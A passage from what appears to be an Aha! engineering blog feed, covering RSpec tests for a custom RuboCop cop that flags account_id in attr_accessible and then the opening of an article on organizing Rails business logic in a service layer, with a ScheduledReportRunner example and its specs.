&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;CODE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;processed_source &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; cop.parse(source)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is a class from within RuboCop, &lt;code&gt;RuboCop::Cop::Commissioner&lt;/code&gt; , that is responsible for taking a &lt;a href=&quot;https://github.com/rubocop/rubocop/blob/d8c2cd0d891c9e49f528041d3b0758a6fa480265/lib/rubocop/cop/commissioner.rb#L44&quot;&gt;list of cops&lt;/a&gt; and using those to &lt;a href=&quot;https://github.com/rubocop/rubocop/blob/d8c2cd0d891c9e49f528041d3b0758a6fa480265/lib/rubocop/cop/commissioner.rb#L79&quot;&gt;investigate&lt;/a&gt; the processed source code. In order to run our cop, we can run this method.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;commissioner &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; RuboCop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Cop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Commissioner&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([cop])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;investigation_report &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; commissioner.investigate(processed_source)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;RuboCop::Cop::Commissioner#investigate&lt;/code&gt; method will return an instance of &lt;a href=&quot;https://github.com/rubocop/rubocop/blob/d8c2cd0d891c9e49f528041d3b0758a6fa480265/lib/rubocop/cop/commissioner.rb#L18&quot;&gt;RuboCop::Cop::Commissioner::InvestigationReport&lt;/a&gt; which is a simple struct class that has a list of offenses that have been recorded.&lt;/p&gt;
&lt;h2&gt;Put it all together&lt;/h2&gt;
&lt;p&gt;We end up with a test file that looks something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;describe &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RuboCop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Cop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ProtectedAttrAccessibleFields&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:config&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RuboCop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Config&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ described_class.badge.to_s =&gt; {} }, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:cop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(config) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:commissioner&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RuboCop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Cop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Commissioner&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([cop]) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;records an offense if we use allow account_id as a string&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    source &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &amp;#x3C;&amp;#x3C;~CODE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      attr_accessible :foo, &apos;account_id&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    CODE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    investigation_report &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; commissioner.investigate(cop.parse(source))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(investigation_report.offenses).to_not be_blank&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(investigation_report.offenses.first.message).to eql described_class::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ERROR_MESSAGE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;records an offense if we use allow account_id as symbol&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    source &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &amp;#x3C;&amp;#x3C;~CODE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      attr_accessible :foo, :account_id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    CODE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    investigation_report &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; commissioner.investigate(cop.parse(source))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(investigation_report.offenses).to_not be_blank&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(investigation_report.offenses.first.message).to eql described_class::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ERROR_MESSAGE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;doesn&apos;t record an offense if no protected attribute is used&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    source &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &amp;#x3C;&amp;#x3C;~CODE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      attr_accessible :foo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    CODE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    investigation_report &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; commissioner.investigate(cop.parse(source))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(investigation_report.offenses).to be_blank&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we know how to write tests, we can use them as a starting point for building new cops, extending existing cops, and ensuring that things continue to function as our application grows and evolves. These little investments into &lt;a href=&quot;https://evilmartians.com/chronicles/custom-cops-for-rubocop-an-emergency-service-for-your-codebase&quot;&gt;project-specific cops&lt;/a&gt; can end up being a large investment in the future health of the projects.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sign up for a free trial of Aha! Develop&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aha! Develop is a fully extendable agile development tool. Prioritize the backlog, estimate work, and plan sprints. If you are interested in an integrated &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;product development&lt;/a&gt; approach, use &lt;a href=&quot;https://www.aha.io/product/overviewhttps://www.aha.io/product/integrations/develop&quot;&gt;Aha! Roadmaps and Aha! Develop together&lt;/a&gt;. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it. --&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Service layer for business logic — Organizing code in a Rails monolith]]></title><description><![CDATA[Our engineering team builds the Aha! suite using a Rails monolith. We carefully weighed a number of options before determining that this…]]></description><link>https://www.aha.io/engineering/articles/organizing-code-in-a-rails-monolith</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/organizing-code-in-a-rails-monolith</guid><dc:creator><![CDATA[Jonathan Steel]]></dc:creator><pubDate>Thu, 06 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Our engineering team builds the Aha! suite using a Rails monolith. We carefully weighed &lt;a href=&quot;https://www.aha.io/engineering/articles/embrace-the-monolith-adding-a-new-product-to-aha&quot;&gt;a number of options&lt;/a&gt; before determining that this would provide the most lovable solution for our users and our team. But the discussion does not end with choosing this path for our code.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We work hard to build the best monolith possible so we can retain a high velocity and a clean code base.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;One of the foundations of having a successful monolith is to ensure it is well-organized. Having a service layer for business logic can help keep Ruby on Rails code from growing out of control. Whichever framework you use, it will only help organize the common elements. Design a system for organizing your business logic code using well-defined, unambiguous patterns. Read on to learn how we did this for the Aha! suite.&lt;/p&gt;
&lt;h2&gt;Managing business logic&lt;/h2&gt;
&lt;p&gt;Rails does a great job of giving you a place to put just about any kind of code. When you create a new Rails project, it comes with an elegant predefined &lt;a href=&quot;https://guides.rubyonrails.org/getting_started.html#creating-a-new-rails-project-installing-rails&quot;&gt;directory structure&lt;/a&gt;. There is a place for the models, views, controllers, tests, assets, database migrations, and much more. It does have its limitations though. The most common issue that Rails projects run into is how to deal with business logic.&lt;/p&gt;
&lt;p&gt;When you look at tutorials of Rails code, they are usually beautiful, concise, simple, and easy to read. Many real-life projects start out this way as well. But over time, more and more business logic gets peppered into that clean, elegant code. You cannot avoid this business logic because you would not have a program without it. So as your Rails program grows and ages, all these clean areas of code will start to grow and look less and less like the ideal &quot;Hello, world&quot; examples. The question then quickly arises of where this code should go.&lt;/p&gt;
&lt;p&gt;Often this complex business logic will start to collect in the controllers. A very common practice is to push that logic into the models in an attempt to keep the complexity in one spot. The size of your models is going to grow proportionally with the size of your application. Combining all your complicated and most frequently used logic together into a single location that never stops growing is a disaster waiting to happen.  This will start to get painful as your application becomes a monolith and the code becomes unreadable.&lt;/p&gt;
&lt;p&gt;Does Rails have a place for business logic? The &lt;a href=&quot;https://guides.rubyonrails.org/v5.2/getting_started.html&quot;&gt;Rails guides&lt;/a&gt; mention the lib directory as a place for extended modules for your application. You&apos;ll find some examples of pushing complex code into concerns, but most concerns are for code reuse. That code is still being included in the same places we said not to put the business logic.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Never force code into a framework if there is no clear place for it — you may have to venture off the Rails instead.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Business logic attracts complexity and tends to change more frequently than other areas of your code. This creates the perfect breeding ground for bugs and regressions. Any solution should isolate the business logic, making it easier to test and accelerate future changes. When file size increases proportionally with the application size, your code is destined to be hard to read, understand, and modify. The best way to prevent this is to create code that is narrowly focused instead of serving multiple purposes.&lt;/p&gt;
&lt;h2&gt;Creating a service layer&lt;/h2&gt;
&lt;p&gt;One concrete solution is to create a service layer composed of small objects that serve specific use cases. A service layer for business logic can help keep Ruby on Rails code from growing out of control. Whether you use Ruby on Rails or another language and framework, that framework will only help organize common elements. Take a cue from your framework and design a system for organizing your business logic code using well-defined, unambiguous patterns.&lt;/p&gt;
&lt;p&gt;A common place to create a service later is in app/services. Each object will usually only serve a single purpose or possibly a few very tightly related purposes. Keeping these objects focused and constrained to a single purpose ensures that no matter how complex your monolith gets, these objects will never get too big. Here is an example of a simple service:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ScheduledReportRunner&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; send_scheduled_report&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; unless&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; allowed_to_send_report?(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    reply_to &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; calculate_reply_to(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    ScheduledReportMailer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.scheduled_report_message(scheduled_report, reply_to).deliver.now&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    scheduled_report.next_run &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; scheduled_report.send_frequency.days&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    scheduled_report.save!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  private&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; allowed_to_send_report?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; calculate_reply_to&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This class is small and easy to understand, use, and test.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;describe &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ScheduledReportRunner&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  describe &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;#send_scheduled_report&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;delivers a scheduled report mail message&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      scheduled_report &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; create(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:scheduled_report&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ScheduledReportMailer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).to receive(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:scheduled_report_message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).with(scheduled_report, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;support@aha.io&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).and_call_original&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.send_scheduled_report(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;does not send a report that is not allowed to go out&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      scheduled_report &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; create(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:scheduled_report&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;last_sent_at:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.minutes.ago)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ScheduledReportMailer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).to_not receive(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:scheduled_report_message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.send_scheduled_report(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;schedules the next run of the report&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      scheduled_report &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; create(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:scheduled_report&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;send_frequency:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.days)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.send_scheduled_report(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(scheduled_report.next_run).to be &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.days.from_now&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;uses a custom reply_to when necessary&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      scheduled_report &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; create(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:scheduled_report&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;last_sent_at:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.minutes.ago, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;reply_to:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;fred@aha.io&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ScheduledReportMailer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).to receive(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:scheduled_report_message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).with(scheduled_report, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;fred@aha.io&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).and_call_original&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.send_scheduled_report(scheduled_report)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
